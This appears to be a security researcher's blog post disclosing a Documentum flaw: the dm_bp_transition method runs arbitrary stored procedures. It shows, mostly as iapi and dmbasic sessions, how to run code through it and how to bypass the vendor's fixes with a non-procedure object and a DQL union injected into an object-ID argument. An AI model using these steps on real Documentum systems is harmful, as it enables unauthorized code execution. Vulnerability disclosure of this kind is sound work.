A year ago I discovered a design gap in Documentum lifecyles: though it is required to user have some permissions for both document and dm_policy objects to be able to promote document or attach lifecycle to document:
all lifecycle stuff narrows down to executing either dm_bp_transition or dm_bp_transition_java docbase method, so any user is able to change lifecycle state of any document by executing docbase method directly. Actually, the problem is more serious because dm_bp_transition docbase method is insecure by design – it accepts identifiers of “external” procedures and executes anything that is written there:
'------------------------------------------------------------ Sub BP_Transition(_ ... userEntryID$,_ actionID$,_ userActionID$,_ ... 'Evaluate the user-defined entry criteria If (result = True And run_entry = "T") Then If (debug = True) Then PrintToLog sess, "Run user defined entry criteria." End If result = RunProcedure(userEntryID, 1, sess, sysID,_ user_name, targetState) End If ... If (procID <> "0000000000000000") Then result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg) result = external(procID) If (result = True) Then If (procNo = 1) Then ' --- Running user-defined entry criteria --- result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg) On Error Goto NoFunction result = EntryCriteria(sessID, objID, userName,_ targetState, errorStack) ...
A clear example:
~]$ cat external.ebs Function EntryCriteria() as Boolean print "Hello, world!" EntryCriteria = True End Function ~]$ cat test.ebs Sub Test(procedureId$) Dim result as Boolean sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin") result = external(procedureId$) result = EntryCriteria() End Sub ~]$ iapi ssc_dev -Udmadmin -Pdmadmin Session id is s0 API> create,c,dm_procedure ... 0801ffd7804368e6 API> setfile,c,l,external.ebs,crtext ... OK API> save,c,l ... OK API> exit Bye ~]$ dmbasic -f test.ebs -eTest -- 0801ffd7804368e6 Hello, world! ~]$
I think it’s obvious that correct security fix must do following:
- Restrict access to dm_bp_transition and dm_bp_transition_java methods
- Check input parameters of dm_bp_transition method (identifiers of procedures to execute are stored in dm_policy object)
Unfortunately, this is not obvious for EMC (or too hard to implement basic checks using dmbasic) – they decided that the root cause of security vulnerability is a fact that any user is able to create dm_procedure objects (yeah, every man is a potential rapist – let’s cut off penises), and now we have:
API> create,c,dm_procedure ... 0801ffd780436937 API> save,c,l ... [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (test02) needs to have superuser or sysadmin privilege."
Unfortunately external() function in dmbasic accepts not only dm_procedure objects but any dm_sysobject:
API> create,c,dm_document ... 0901ffd780436944 API> setfile,c,l,external.ebs,crtext ... OK API> save,c,l ... OK API> Bye ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944 Hello, world!
What did EMC for that? They decided that it is a good idea to load only dm_procedure objects in external() dmbasic’s function:
~]$ strings dmbasic | grep dm_procedure id,%s,dm_procedure where object_name = '%s' and folder('%s') id,%s,dm_procedure where r_object_id = '%s'
~]$ cat test.ebs Sub Test(procedureId$) Dim result as Boolean sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin") result = external(procedureId$) print dmAPIGet("getmessage,c") result = EntryCriteria() End Sub ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944 [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0901ffd780436944'" dmbasic: Error 35 in line 6: Sub or Function not defined ~]$
Does it look good? Actually, no. I have no idea who invented so ridiculous way to call Documentum RPCs through dmAPIGet/dmAPIExec commands, but concatenating command and arguments into single string and then parsing that string is a bad idea, take a look at API magic:
Session id is s0 API> id,c,dm_procedure where r_object_id='0901ffd780436944,' union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944' ... 0901ffd780436944 API> fetch,c,0901ffd780436944,' union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944 ... OK
~]$ dmbasic -f test.ebs -eTest -- "0901ffd780436944,' union \ > select r_object_id from dm_sysobject where r_object_id='0901ffd780436944" Hello, world! ~]$